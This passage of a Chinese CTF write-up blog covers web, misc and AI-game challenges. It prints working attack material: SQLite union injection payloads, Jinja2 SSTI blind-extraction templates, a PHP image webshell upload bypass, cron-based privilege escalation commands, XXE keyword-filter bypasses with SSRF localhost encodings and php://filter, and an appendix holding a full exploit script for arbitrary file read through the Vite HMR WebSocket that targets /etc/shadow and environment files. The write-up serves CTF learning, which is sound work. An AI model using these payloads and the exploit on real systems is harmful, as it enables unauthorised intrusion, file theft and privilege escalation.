  "redirect": "https://ys.mihoyo.com/"
4
}

出现了 WAF ，通过逐个构造，发现注释如 # /**/ -- 等都被 ban 了，包括 and or 等也都被 ban 了，但是 union 居然是没有被 ban 的，这意味着出题人大概率是要我们用联合注入。现在问题变成如何在无法使用注释的情况下完成对 password 的后引号闭合或者是无效化。上网查询资料后发现可以通过 ||' 的方式完成闭合，将整个查询语句拼凑为类似于 select 1,2,3,'4'||'' 的样子。

要联合查询就要知道查询列数，从返回的 json 可以看出有四个项，故猜测有 4 列，发现确实如此。

1
Windfall2407' union select 1,2,3,'4'||'

然后就是拿表名列名之类的操作了：

1
Windfall2407' union select 1,2,3,(select group_concat(name) from sqlite_master where type='table')||'
2
Windfall2407' union select 1,2,3,(select group_concat(name) from pragma_table_info('secret_flags'))||'
3
Windfall2407' union select 1,2,3,(select flag_value from secret_flags)||'

这题对只打过 Moectf2026 的笔者还是有两个很重要的启发：一个就是考察到了笔者不熟悉的 sqlite ，以至于刚开始做的时候总是不小心串到 Mysql 的一些函数、库名中以至于还以为查表名等手段被 ban 了；还有就是把注释给 ban 了，这时候就要尽量注入位置在后面的参数比如 password 了，因为少了注释这种 AOE（群伤）杀招，我们就必须考虑到注入参数后面的语句了，而 password 譬如对于本题来说后面只有一个 ' ，减小了使语法有效的难度。

BandInvite#

发现能注册，随便注册一个用户进去后，发现用户权限不够，则方向应该是想办法提权（？发现 cookie 处出现了一个类似 JWT 的 session ，推测要伪造 JWT。

然后用 hashcat + hashmob.net_2025.small.found 来爆破密钥，未成功，又尝试修改 alg:none 等方法均无法实现。说明密钥可能是强随机且 header 有校验，这条路大概率行不通。

在审计源码时发现了一个 <script type="module" src="/@vite/client"></script> ，上网查询后发现这大概率是开发环境下源码没有打包直接放到生产环境下，这意味着可以获取 package.json ，成功在里面找到了 vite 版本号 8.0.4 。搜索相关版本的 CVE 漏洞，找到了一个很有用的任意文件读写漏洞 —— CVE-2026-39363 ，从 github 上找到相关的利用脚本（GitHub - sunynov/CVE-2026-39363: 方便实用的CVE-2026-39363利用工具 · GitHub），利用 ds 修改了 “缺少发 TLS SNI”（不是很清楚，可能是 tsctf 的服务端配置中要求了不发 SNI 就拒绝完成 TLS 握手？）的漏洞以后尝试用其连接在页面的 Audit Logs 里提到的 /run/starry/dispatch-note.txt 并且成功获取内容：

1
ticket: handoff-9c2e7b41
2
roster: GET /api/dispatch/roster?ticket=...
3
open shift: shift-0727
4
claim hint: POST /api/dispatch/shift-0727/...
5
Check roster before claiming; keep the same session.
6
Preview helper: press_kit.attachment(filename, ticket)

修改后脚本会贴在博客最后，另外利用 dsh 在常见出现 flag 的地方进行遍历，最终在 /flag 发现了 flag，但是由于权限问题无法读取，先记下这个路径：

1
[!] read failed: Error: EACCES: permission denied, open '/flag'

先 GET roster 可以得到：

1
[
2
  {
3
    "assigned_to": "seika",
4
    "date": "2026-07-27",
5
    "duty": "notice_review",
6
    "id": "shift-0727",
7
    "status": "open"
8
  },
9
  {
10
    "assigned_to": "nijika",
11
    "date": "2026-08-02",
12
    "duty": "live_check",
13
    "id": "shift-0802",
14
    "status": "open"
15
  },
16
  {
17
    "assigned_to": "ryo",
18
    "date": "2026-08-11",
19
    "duty": "budget_review",
20
    "id": "shift-0811",
21
    "status": "closed"
22
  }
23
]

展开收起

然后猜测 claim 路径的省略号指代的应该就是 claim ，POST 后提示：

1
{ "error": "dispatch ticket required" }

加上 GET 参数 ticket=handoff-9c2e7b41 即可：

1
{
2
  "ok": true,
3
  "role": "admin"
4
}

此时登录账号发现自己已经变成了 admin 身份，可以访问通知预览了。

注意如果直接 POST claim 会返回 "error": "roster confirmation required" ，此事在 dispatch-note.txt 中亦有记载—— Check roster before claiming; keep the same session.。

由于发出去的通知根本没有回显，有些没思路了，于是让 dsh 拿着 admin 身份跑了接口，根据 dsh 发现，当且仅当通知类型为 “临时公告” 即 custom_stage_notice 时服务端会进行模板渲染，并且将渲染的成功与否以 archived/failed 的状态返回，这也对应了后面出题人发的 hint ：

开发人员和店长说，预览不会直接回显渲染结果，但是他忘了清理返回的布尔状态

对了 dsh 还发现了如果直接访问或者是在网页端访问的话会提示需要 ticket ，解决方法是在请求体的 variables 处增加一个字段 ticket 并设值为 handoff-9c2e7b41 即可。

尝试注入，发现 __ 、import 等关键词返回 "error": "notice body rejected by publishing policy" ，则问题变成了 Jinja2 上下文 pyjail + 字符串 WAF 。

字符串很好绕过，我们可以使用比如 'o'~'s' 来构造 os 等黑名单里的字符串，使用 .|attr() 来代替点号的调用。但是绕过这一层后就陷入了死胡同，所有常规的沙箱逃逸手段全部无效，甚至拿 dsh 对我知道的和我不知道的所有逃逸方法都跑了一遍，完全无法读到文件 /flag 。

去请教出题人，出题人这时候给了个 hint ，才发现我漏掉了 dispatch-note.txt 的最后一行：

1
Preview helper: press_kit.attachment(filename, ticket)

也就是说沙箱里难道预留了一个工具函数可以读取文件？尝试以下代码：

1
{% if press_kit is defined %}OK{% else %}{{ 1/0 }}{% endif %}
2
{% if press_kit|attr('attachment') is callable %}OK{% else %}{{ 1/0 }}{% endif %}
3
{% if (press_kit.attachment('/f'~'lag', ticket)) is string %}OK{% else %}{{ 1/0 }}{% endif %}
4
{% if (press_kit.attachment('/f'~'lag', ticket)[0]) is defined %}OK{% else %}{{ 1/0 }}{% endif %}

以上结果皆为成功，说明可以通过 press_kit.attachment() 返回的字符串按下标一位一位进行布尔二分从而拿到 flag ，让 ds 写了相关代码，以 {% if (press_kit.attachment('/f'~'lag', ticket)[i]) == 'T' %}A{% else %}{{1/0}}{% endif %} 这种方式来将任何表达式的布尔转化为是否抛出异常，成功拿到 flag 。

这边要注意的是由于 flag 文件末尾存在换行符，所以在读到 } 后还会读取出一位字符，需要注意程序的设计。

玛德莱娜小蛋糕#

整个页面只有一个上传 GIF 图片的操作空间，推测考点是图片木马。刚开始还是用 copy /b 将真实 GIF 和 PHP Payload 拼接，后来一次偶然的尝试发现只需要在文件开头添加魔数 GIF89a 即可绕过检验，省了一步 copy 操作。

当上传包含 <?php（大小写不敏感）时会发现类似 “管理员嗅到了浓浓的 php 味道” 之类的话，考虑绕过，尝试修改为 <?= ，发现成功上传了，从而成功构造 RCE 。

下一步对系统进行分析，最后在根目录下发现 flag ，发现是 600 ，拥有者是 root ，而我们目前拿到的权限肯定是不够 root 的，则下一步应该是提权。

在根目录发现了一个非常规文件 entrypoint.sh 交给 ds 分析后得到了一个关键词是 cron ，查询后得知这是 linux 的定时任务管理工具，于是尝试读取以下路径：

Terminal window

1
cat /etc/crontab
2
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
3
ls -la /var/spool/cron/crontabs/

在 /etc/cron.d/ 中发现了以下内容：

1
-rw-r--r-- 1 root root   99 Oct  3 13:11 teahouse-cleanup

读取后得到：

1
* * * * * root /bin/bash /opt/teahouse/bin/clean_uploads.sh >> /var/log/teahouse-cleanup.log 2>&1

从而发现以 root 权限启动的定时任务并获得其内容：

1
#!/bin/bash
2
set -u
3

4
UPLOAD_DIR="/var/www/html/storage/tmp"
5
PROFILE_FILE="/var/lib/teahouse/cleanup.conf"
6

7
if [ ! -d "$UPLOAD_DIR" ]; then
8
    exit 0
9
fi
10

11
if [ -f "$PROFILE_FILE" ]; then
12
    source "$PROFILE_FILE"
13
fi
14

15
# The teahouse keeps albums tidy by sweeping oversized or stale temporary desserts.
16
find "$UPLOAD_DIR" -type f -size +"${MAX_UPLOAD_SIZE:-1M}" -delete
17
find "$UPLOAD_DIR" -type f -mmin +"${UPLOAD_TTL_MINUTES:-3}" -delete
18
find "$UPLOAD_DIR" -type f -mmin +"${UPLOAD_TTL_MINUTES:-3}" -delete

展开收起

查询后发现其中的 source 命令能够以当前命令的权限来执行后面跟的参数所指向的文件，则如果能够修改该文件即可达到 sudo 的效果从而读取 flag 。由于定时任务的回显无法读取，所以只能使定时任务能够修改 flag 为 644 即可。

另外好像直接修改 flag 的权限不行，要先复制一下去修改复制的文件的权限（？

Terminal window

1
curl -k "https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=echo%20%27cp%20/flag%20/var/www/html/flag%3Bchmod%20644%20/var/www/html/flag%27%3E/var/lib/teahouse/cleanup.conf%26%26echo%20ok"
2
curl -k "https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=cat%20/var/www/html/flag"

MinePortrait#

打开后发现是个星露谷的登陆界面，尝试随便输入账号密码，提示 Invalid workshop badge.。

尝试查看 robots.txt ，发现 Disallow: /www.zip ，成功下载到两个文件。其中的 Python 文件展示了一个账号密码：

1
# leaked login source
2
USERNAME = "m0rnis"
3
PASSWORD = "passw0rd"
4

5
def check_login(username, password):
6
    if username == USERNAME and password == PASSWORD:
7
        return True
8
    return False

尝试后成功登录进去，注意到得到了一个 session: junimo-session-m0rnis ，比较奇怪的是是明文，尝试修改为 admin 后发现要重新登录，暂时没发现有什么突破口。

再看登录后的界面是一个类似于图片格式转化的功能，难道跟玛德莱娜一样是文件上传漏洞吗？在进行了简单的前端代码审计后发现 submit 被监听阻止默认事件并且在本地用 canvas 做了一个伪转化，但是有个关键的判断：

1
if (source === "svg" && target === "png") {
2
  const text = await blobToText(file);
3
  if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
4
    setStatus("Sending SVG to the workshop renderer...");
5
    return;
6
  }
7
}

也就是说当原来的图为 svg ，目标转化为 png 时，会直接上传而不是本地伪转化。本地找了个 svg 上传一下，发现会先显示该 svg ，然后 submit 成功，服务端返回一个带有信纸背景的文字图 Portrait conversion completed. 。这里请教 m0rnis 学长后得知 svg2png 是经典的一个问题，于是在写 wp 时上网查询相关关键词，得知 svg 实际上支持 js 和 xml 的一些标准，而这里的 xml 就会带来一个经典问题即 XXE ，同时 js 还会带来 XSS 问题。

在上传其他带有图像的 svg 时只会返回同一段文本，而只有 <text></text> 的 svg 就会显示 text 的内容，所以 XXE 的方向应该就是通过读取外带 flag 到返回的图中来。

注意到本题 www.zip 给出的另一个文件中有提到：

old_note.txt

1
# Pelican Town workshop internal notes
2
#
3
# private media helper:
4
#   service = 127.0.0.1
5
#   route = /fetch.php
6
#   query = url
7
# flag in flag.txt
8
# The media helper is only reachable from the workshop network.
9
# It was kept for legacy artwork imports used by older portrait tools.

也就是说存在一个可以通过 url 获取东西的服务只在 workshop network 可访问。前期排查突破口时有尝试通过修改 host 、xxf 的方式来访问均失败，而现在我们访问的 /convert 的确是处在 workshop network 的，也就是说我们接下来就是要想办法让该接口去访问那个服务从而拿到 flag 。

1
<!DOCTYPE svg [<!ENTITY e SYSTEM "http://example.com/">]>
2
<svg><text>&e;</text></svg>

返回 The Junimos found sensitive keywords within your XML. Go refine it! 说明存在关键词过滤器，经过多番尝试后发现关键词是 <!DOCTYPE> ，但是可以通过在其中添加空格来绕过（这里不能使用编码转换来绕过，因为这样会使得 <text> 不被正则匹配导致返回的值只为默认的 Portrait conversion completed. ）：

1
<! DOCTYPE svg [<! ENTITY e SYSTEM "http://127.0.0.1/">]>
2
<svg><text>&e;</text></svg>

返回 Remote media URL rejected: 127.0.0.1/ ，查询后得知这是一个典型的 SSRF 过滤拦截。当服务器试图请求远程媒体资源时，它会检查 url 中的主机地址，一旦发现是 127.0.0.1 或 localhost 就会拒绝。而绕过方法有很多，以下列出对于本题可以绕过的方法：

1
http://2130706433/      # 十进制
2
http://0x7f000001/      # 十六进制
3
http://0177.0.0.1/      # 八进制
4
http://0x7f.1/       # 十六进制 + 短写
5
http://[::ffff:127.0.0.1]/      # IPV6
6
http://[::ffff:7f00:1]/      # IPV6

以上这些会返回 Conversion failed: HTTP Error 404: Not Found ，说明真的连上了。还有一些绕过方法本题仍然会被拒绝：

1
http://127.1/      # 短写
2
http://expected.com@127.0.0.1/      # userinfo 混淆
3
http://127.0.0.1\@allowed.com/      # 反斜杠路径混淆

接下来如果直接使用 url 去访问 /flag.txt 的话会返回 media source rejected: missing media adapter ，根据好心出题人的 hint ：

祝尼魔们会拦下不少本机地址，却会收下用filter包好的信。

可知应当使用 php://filter 进行一下流包装，选用 base64 即可。

1
http://[::ffff:7f00:1]/fetch.php?url=php%3A//filter/convert.base64-encode/resource%3D%2Fflag.txt

最终得到的 base64 拿去解码即可获得 flag 。

misc#

由于这次主要打的方向是 web ，且由于是第一次将 agent 应用在 ctf 中不太会引导 agent ，加上复盘 agent 做题过程花的时间久，导致本来想花时间打的 misc 方向基本上没有实际参与，只是拿 dsh 尝试了几道题，以下题解是尽量尝试整理 ds 的做法所写的。

play it#

签到题，找个解数独的网站，然后写下 python 脚本去批量发送 set 命令，最后 submit 即可。

以下为脚本：

1
#!/usr/bin/env python3
2
from pwn import *
3
import sys
4

5
HOST = "747264534a636730614e30344b56526d487a68635a-p9999.chal.buptmerak.cn"
6
PORT = 443
7

8
# 如果题目里的行列是从 1 开始的，把 BASE 改成 1
9
# 如果是从 0 开始的，保持 0
10
BASE = 1
11

12
context.log_level = 'info'
13

14
def recv_all(timeout=2):
15
    data = b''
16
    while True:
17
        try:
18
            chunk = p.recv(timeout=timeout)
19
        except EOFError:
20
            break
21
        if not chunk:
22
            break
23
        data += chunk
24
        sys.stdout.write(chunk.decode(errors='replace'))
25
        sys.stdout.flush()
26
    return data
27

28
p = remote(HOST, PORT, ssl=True, sni=HOST)
29

30
print("[+] 已连接，服务端初始返回：")
31
recv_all(timeout=2)
32

33
print("\n[+] 请输入 9x9 数独矩阵")
34
print("    0 表示空格；每行 9 个数字，可空格分隔或连续输入")
35
grid = []
36
for i in range(9):
37
    while True:
38
        line = input(f"第 {i+1} 行: ").strip()
39
        if not line:
40
            continue
41

42
        parts = line.split()
43
        if len(parts) == 9:
44
            nums = parts
45
        else:
46
            digits = [ch for ch in line if ch.isdigit()]
47
            if len(digits) == 9:
48
                nums = digits
49
            else:
50
                print("格式错误，请重新输入这一行")
51
                continue
52

53
        grid.append(nums)
54
        break
55

56
print("[+] 开始发送 set 命令...")
57
for r in range(9):
58
    for c in range(9):
59
        n = int(grid[r][c])
60
        if n != 0:
61
            cmd = f"set {r + BASE} {c + BASE} {n}\n"
62
            p.send(cmd.encode())
63

64
print("[+] 发送完毕，接收服务端返回：")
65
recv_all(timeout=3)
66

67
print("\n[+] 进入交互模式，可继续手动操作，Ctrl-C 退出")
68
p.interactive()
69

70
# 第 1 行: 912487356
71
# 第 2 行: 734651829
72
# 第 3 行: 586392471
73
# 第 4 行: 468539712
74
# 第 5 行: 371264598
75
# 第 6 行: 295178634
76
# 第 7 行: 153826947
77
# 第 8 行: 827943165
78
# 第 9 行: 649715283

展开收起

findit#

附件给了 100 个 mp3 ，要在多轮中内完成对指定预处理后的音频段找出其所在的音频以及起始点，查询后得知 Chroma 特征 适用于这种预处理后的音频特征识别，所以可以写一个程序来进行特征库建立与自动化识别。

然而后来发现附件没有给 bgm ，只建立 track 的特征库远不够答对，但是在 dsh 的努力下，其抓了一些服务端的音频到本地一阵分析，最后使用了一个 逐带 z-score 归一 给解决了。ds 的解决程序在博客结尾给出。

逐带 z-score 归一就是“每个波段各自减自己的均值、除自己的标准差”，使各波段均值为 0、标准差为 1。—— deepseek BGM 在对数幅度域近似为每带的常量偏移，逐带减均值除标准差正好把它消掉，让匹配依赖语音的频谱形状而非共享的 BGM。—— deepseek

!_MisC_!（未做出）#

先尝试用 zsteg 扫了一遍 icon.png ，没发现任何问题，然后又用 grep 命令扫了一遍目录未发现 flag 标志。

通过查看 level.dat 发现地图版本为 26.3（后来发现怎么题面有写版本，建议把版本列为 misc 一环（）），用对应版本我的世界进入后发现是个巨大的红石电路构成的一个解谜，转了一圈发现看不懂红石电路（寄）

PIP 下载 Amulet-Core 后将存档交给 dsh 去分析，但是这方法明显不对，消耗大量 tokens 后无果，暂时放弃。

后面搜索各种方案找到一种常见的不用 dsh 自己按字节从零去分析 NBT 的方法：WorldEdit 导出选取 + Nucleation 模拟 。然后就是漫长的 AI 试错 + 分析了。然而仍然未做出来。

hint1 的意思大概是调随机刻？hint2 指明了按钮十六进制是 flag 编码后结果。

AI#

Liar’s Bar#

红温指数估计是 temperature 吧设为 0.1 ，提示词如下（由 ds 生成）：

1
硬性规则：
2
1. 自己左轮空枪 0-1：可谨慎质疑，可出 1 张假。
3
2. 自己空枪 2：不主动质疑，除非对方出 3 张且历史可疑；不出假。
4
3. 自己空枪 3 及以上：绝不主动质疑，除非强制；只出真牌或 JOKER；有恶魔牌单独出。
5
4. 自己空枪 4 及以上：强制质疑也认命；出牌只用真牌/JOKER/恶魔，绝不主动出假。
6
出牌优先级：
7
真桌牌 > JOKER > 恶魔牌 > 假牌。
8
一次最多出 2 张，优先 1 张。
9
有真牌出真牌。
10
无真牌有 JOKER 出 JOKER。
11
无真无 JOKER，出恶魔牌，单独出。
12
以上都没有，才出 1 张假牌。
13
永远不出 2 张以上假牌。
14
恶魔牌：
15
每轮拿到后，尽早单独出，声称是桌牌。
16
最好在对手空枪≥2 或对手质疑倾向强时出。
17
被质疑则自己免枪，其他所有人扣扳机。
18
JOKER：
19
永远合法，留到关键局，尤其是自己可能成为最后有牌者时。
20
最后有牌时，尽量出 JOKER 或真牌，让强制质疑者扣扳机。
21
质疑：
22
质疑前默算自己死亡概率 = 1/(6-自己空枪数)。
23
如果死亡概率 > 20%，不主动质疑。
24
对方出 1 张：基本不质疑，除非自己空枪 0 且对方是惯骗。
25
对方出 2 张：自己空枪≤1 且对方历史可疑，才质疑。
26
对方出 3 张：自己空枪≤2 且对方非诚实形象，才质疑。
27
对方单张且像诱质疑：不质疑，防恶魔牌。
28
强制质疑：
29
只剩一人有牌或全场无手牌时，必须质疑。
30
提前避免自己成为最后有牌者。
31
如果自己最后有牌，确保出真牌/JOKER/恶魔。
32
对手建模：
33
常质疑者：少出假，多出真，诱其质疑失败；恶魔牌收益高。
34
少质疑者：可多出假，但恶魔牌诱饵效果差。
35
常撒谎者：多质疑，但防恶魔牌。
36
风险厌恶者：用假牌施压。
37
风险偏好者：少出假，等他质疑失败。
38
决策顺序：
39
先看自己空枪数，再看对手空枪数，再看对方出牌数量与历史，最后决定。

展开收起

最终单次 21 轮过关，扳机 2 / 6 。自己又写了一版：

1
对对手进行建模：你的对手大概有两种人，一种质疑较多，一种质疑较少，质疑较多的请你诱导其质疑失败，尤其是恶魔牌时，质疑较少的只在你有充足把握且当前空枪<=3时发出质疑。当对手一次性出三张牌的时候质疑成功的概率极高，但是要保证自己有足够的空枪数来操作。一次性出两张牌时质疑成功的概率也较高，但是这时候要小心了，注意对手可能出过小丑牌，有则质疑成功的概率下降至极低。对手出一张牌的时候仅在对手已经出的合法牌（包括小丑牌等）足够多时才能够质疑。一次最多出2张，优先1张。确保自己最后一张牌为真牌。在场上质疑较多的人基本都倒下后，可以尝试多在前期使用假牌，否则假牌不优先。
2
前期不要主动质疑，除非百分百确定，等待其他人内耗而亡。
3
当只剩下你和另一个人的时候质疑一定要有百分之九十把握的时候才发出，因为对面大概率是不质疑之人，就等你犯错。

红温指数设置为 0.2 。最终单次 12 轮过关，扳机 2 / 6 。

不过这题也还是有运气成分的，否则如果只有一两枪容错其实也挺难的。

附录#

BandInvite CVE-2026-39363 利用脚本#

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
"""
4
CVE-2026-39363 — Vite dev server 任意文件读取（HMR WebSocket 未授权）
5

6
Affected : vite >=6.0.0 <=6.4.1 | >=7.0.0 <=7.3.1 | >=8.0.0 <=8.0.4
7
Fixed    : 6.4.2 / 7.3.2 / 8.0.5
8
Advisory : GHSA-p9ff-h696-f583
9

10
原理
11
----
12
dev server 暴露到网络（server.host / --host）且未关闭 HMR WebSocket 时，
13
WS 握手只要【不带 Origin 头】即可绕过 token 校验（CWE-306）。
14
随后向 HMR WebSocket 发送自定义事件 `vite:invoke` 调用服务端 `fetchModule`，
15
传入 `file://<绝对路径>?raw`，即可读取任意文件——
16
该执行路径【完全绕过 HTTP 层的 server.fs.allow 限制】（CWE-200）。
17

18
本脚本相对常见 PoC 的关键修正
19
------------------------------
20
1) TLS 必须发送 SNI：`ctx.wrap_socket(sock, server_hostname=host)`。
21
   很多 PoC 写成 `ctx.wrap_socket(sock)`，在按 SNI 分流的反向代理后面
22
   会拿到 `404 page not found`（看起来像目标不存在，实际只是没发 SNI）。
23
2) 校验 Sec-WebSocket-Accept。
24
3) file:// URL 正确处理 POSIX / Windows / UNC 三种路径。
25
4) 帧收发按 RFC6455（客户端帧强制掩码、支持 126/127 变长、ping→pong）。
26

27
用法
28
----
29
  python cve_2026_39363_read.py https://HOST:PORT /etc/passwd
30
  python cve_2026_39363_read.py https://HOST:PORT /etc/passwd /proc/self/environ -o out/
31
  python cve_2026_39363_read.py https://HOST:PORT --host-header localhost:5173 /etc/shadow
32

33
免责声明：仅用于已获授权的安全测试。
34
"""
35

36
import argparse
37
import base64
38
import hashlib
39
import json
40
import os
41
import re
42
import socket
43
import ssl
44
import struct
45
import sys
46
import time
47
import urllib.parse
48

49
WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
50
RAW_RE = re.compile(r'export\s+default\s+("(?:[^"\\]|\\.)*")', re.S)
51

52
if sys.stdout.encoding and sys.stdout.encoding.lower() not in ("utf-8", "utf8"):
53
    try:
54
        sys.stdout.reconfigure(encoding="utf-8", errors="replace")
55
        sys.stderr.reconfigure(encoding="utf-8", errors="replace")
56
    except (AttributeError, ValueError):
57
        pass
58

59

60
# ------------------------------------------------------------------ helpers
61

62
def to_file_url(path: str) -> str:
63
    """把绝对路径转成 Vite fetchModule 能解析的 file:// URL。"""
64
    p = path.replace("\\", "/")
65
    if re.match(r"^[A-Za-z]:/", p):      # C:/x/y  -> file:///C:/x/y
66
        return "file:///" + p
67
    if p.startswith("//"):               # //host/share -> file://host/share
68
        return "file:" + p
69
    if p.startswith("/"):                # /etc/passwd -> file:///etc/passwd
70
        return "file://" + p
71
    return "file:///" + p
72

73

74
def _xor(data: bytes, key: bytes) -> bytes:
75
    return bytes(b ^ key[i % 4] for i, b in enumerate(data))
76

77

78
def recv_exact(sock, n: int) -> bytes:
79
    buf = b""
80
    while len(buf) < n:
81
        chunk = sock.recv(n - len(buf))
82
        if not chunk:
83
            raise ConnectionError("connection closed by peer")
84
        buf += chunk
85
    return buf
86

87

88
def send_frame(sock, payload: bytes, opcode: int = 0x1) -> None:
89
    mask = os.urandom(4)
90
    n = len(payload)
91
    head = bytearray([0x80 | opcode])
92
    if n < 126:
93
        head.append(0x80 | n)
94
    elif n < 65536:
95
        head.append(0x80 | 126)
96
        head += struct.pack(">H", n)
97
    else:
98
        head.append(0x80 | 127)
99
        head += struct.pack(">Q", n)
100
    sock.sendall(bytes(head) + mask + _xor(payload, mask))
101

102

103
def recv_frame(sock):
104
    b1, b2 = recv_exact(sock, 2)
105
    opcode = b1 & 0x0F
106
    n = b2 & 0x7F
107
    if n == 126:
108
        n = struct.unpack(">H", recv_exact(sock, 2))[0]
109
    elif n == 127:
110
        n = struct.unpack(">Q", recv_exact(sock, 8))[0]
111
    mask = recv_exact(sock, 4) if (b2 & 0x80) else None
112
    payload = recv_exact(sock, n)
113
    if mask:
114
        payload = _xor(payload, mask)
115
    return opcode, payload
116

117

118
# ------------------------------------------------------------------ websocket
119

120
def ws_connect(host, port, path, tls, host_header, timeout, origin=None, sni=True):
121
    """完成 HTTP Upgrade 握手。origin=None 是关键：不发送 Origin 头。"""
122
    raw = socket.create_connection((host, port), timeout=timeout)
123
    if tls:
124
        ctx = ssl.create_default_context()
125
        ctx.check_hostname = False
126
        ctx.verify_mode = ssl.CERT_NONE
127
        # ★ 关键修正：必须带 SNI，否则按 SNI 分流的反代会返回 404
128
        raw = ctx.wrap_socket(raw, server_hostname=host if sni else None)
129
    raw.settimeout(timeout)
130

131
    key = base64.b64encode(os.urandom(16)).decode()
132
    lines = [
133
        f"GET {path} HTTP/1.1",
134
        f"Host: {host_header}",
135
        "Upgrade: websocket",
136
        "Connection: Upgrade",
137
        f"Sec-WebSocket-Key: {key}",
138
        "Sec-WebSocket-Version: 13",
139
        "Sec-WebSocket-Protocol: vite-hmr",
140
        "User-Agent: Mozilla/5.0 (compatible; CVE-2026-39363)",
141
    ]
142
    if origin:
143
        lines.append(f"Origin: {origin}")
144
    raw.sendall(("\r\n".join(lines) + "\r\n\r\n").encode())
145

146
    buf = b""
147
    while b"\r\n\r\n" not in buf:
148
        chunk = raw.recv(4096)
149
        if not chunk:
150
            raise ConnectionError("handshake closed by peer")
151
        buf += chunk
152
    head = buf.split(b"\r\n\r\n", 1)[0].decode("latin-1")
153
    status_line = head.split("\r\n")[0]
154
    if " 101 " not in status_line:
155
        raise RuntimeError(f"WS handshake rejected: {status_line}")
156

157
    expect = base64.b64encode(hashlib.sha1((key + WS_GUID).encode()).digest()).decode()
158
    for line in head.split("\r\n")[1:]:
159
        if line.lower().startswith("sec-websocket-accept:"):
160
            if line.split(":", 1)[1].strip() != expect:
161
                raise RuntimeError("Sec-WebSocket-Accept mismatch")
162
            break
163
    return raw
164

165

166
def fetch_module(sock, file_url, rid, timeout):
167
    """调用服务端 fetchModule(file_url)。"""
168
    msg = {
169
        "type": "custom",
170
        "event": "vite:invoke",
171
        "data": {"name": "fetchModule", "id": rid, "data": [file_url]},
172
    }
173
    send_frame(sock, json.dumps(msg).encode())
174
    expect_id = rid.replace("send", "response")
175
    deadline = time.time() + timeout
176
    while True:
177
        remaining = deadline - time.time()
178
        if remaining <= 0:
179
            raise TimeoutError("no response from vite:invoke")
180
        sock.settimeout(remaining)
181
        opcode, payload = recv_frame(sock)
182
        if opcode == 0x8:
183
            raise ConnectionError("server closed websocket")
184
        if opcode == 0x9:                      # ping -> pong
185
            send_frame(sock, payload, opcode=0xA)
186
            continue
187
        if opcode != 0x1:                      # 只处理文本帧
188
            continue
189
        try:
190
            obj = json.loads(payload.decode("utf-8", "replace"))
191
        except (ValueError, UnicodeDecodeError):
192
            continue
193
        if obj.get("type") != "custom" or obj.get("event") != "vite:invoke":
194
            continue
195
        d = obj.get("data") or {}
196
        if d.get("name") != "fetchModule" or d.get("id") != expect_id:
197
            continue
198
        inner = d.get("data") or {}
199
        if "error" in inner:
200
            err = inner["error"] or {}
201
            raise RuntimeError(f"{err.get('name')}: {err.get('message')}")
202
        return inner.get("result") or {}
203

204

205
def unwrap(code: str):
206
    """`export default "..."` -> 原始文件内容。"""
207
    m = RAW_RE.search(code or "")
208
    if not m:
209
        return None
210
    try:
211
        return json.loads(m.group(1))
212
    except ValueError:
213
        return None
214

215

216
def drain_welcome(sock, timeout=1.0):
217
    """吃掉握手后的 connected / update 等欢迎帧。"""
218
    sock.settimeout(timeout)
219
    try:
220
        while True:
221
            opcode, payload = recv_frame(sock)
222
            if opcode == 0x9:
223
                send_frame(sock, payload, opcode=0xA)
224
                continue
225
            if opcode != 0x1:
226
                continue
227
            try:
228
                if (json.loads(payload) or {}).get("type") == "connected":
229
                    return
230
            except ValueError:
231
                continue
232
    except (socket.timeout, ConnectionError, OSError):
233
        return
234

235

236
# ------------------------------------------------------------------ main
237

238
def main():
239
    ap = argparse.ArgumentParser(
240
        description="CVE-2026-39363 Vite dev server arbitrary file read",
241
        formatter_class=argparse.RawDescriptionHelpFormatter,
242
        epilog="examples:\n"
243
               "  %(prog)s https://target:5173 /etc/passwd\n"
244
               "  %(prog)s https://target:5173 /etc/passwd /proc/self/environ -o out/\n"
245
               "  %(prog)s https://target:5173 --host-header localhost:5173 /etc/shadow\n")
246
    ap.add_argument("url", help="target URL, e.g. https://host:5173")
247
    ap.add_argument("files", nargs="+", help="absolute paths to read")
248
    ap.add_argument("--ws-path", default="/", help="HMR websocket path (default /)")
249
    ap.add_argument("--host-header", default=None, help="override Host header")
250
    ap.add_argument("--origin", default=None,
251
                    help="set an Origin header (leave unset to bypass, which is required)")
252
    ap.add_argument("--no-sni", action="store_true", help="do NOT send TLS SNI (breaks SNI-routed proxies)")
253
    ap.add_argument("--timeout", type=float, default=15.0)
254
    ap.add_argument("-o", "--output-dir", default=None)
255
    args = ap.parse_args()
256

257
    u = urllib.parse.urlsplit(args.url if "://" in args.url else "http://" + args.url)
258
    scheme = (u.scheme or "http").lower()
259
    if scheme not in ("http", "https"):
260
        sys.exit(f"[!] bad scheme: {args.url}")
261
    host = u.hostname or "127.0.0.1"
262
    port = u.port or (443 if scheme == "https" else 80)
263
    host_header = args.host_header or (host + (f":{port}" if port not in (80, 443) else ""))
264
    tls = scheme == "https"
265

266
    print(f"[*] connecting wss://{host}:{port}{args.ws_path}  (Host: {host_header}, SNI: {not args.no_sni})")
267
    try:
268
        sock = ws_connect(host, port, args.ws_path, tls, host_header,
269
                          args.timeout, origin=args.origin, sni=not args.no_sni)
270
    except Exception as e:
271
        sys.exit(f"[!] connect failed: {e}")
272
    drain_welcome(sock)
273
    sock.settimeout(args.timeout)
274
    print("[+] HMR WebSocket upgraded (no Origin header -> token check bypassed)")
275

276
    if args.output_dir:
277
        os.makedirs(args.output_dir, exist_ok=True)
278

279
    ok = 0
280
    for i, f in enumerate(args.files, 1):
281
        url = to_file_url(f) + "?raw"
282
        print(f"[*] [{i}/{len(args.files)}] {f}")
283
        try:
284
            res = fetch_module(sock, url, f"{i}send", args.timeout)
285
        except Exception as e:
286
            print(f"[!] read failed: {e}")
287
            continue
288
        content = unwrap(res.get("code") or "")
289
        if content is None:
290
            print("[!] could not unwrap; raw code follows:")
291
            print((res.get("code") or "")[:2000])
292
            continue
293
        ok += 1
294
        if args.output_dir:
295
            out = os.path.join(args.output_dir, re.sub(r"[/\\]+", "_", f.strip("/\\")) or "file")
296
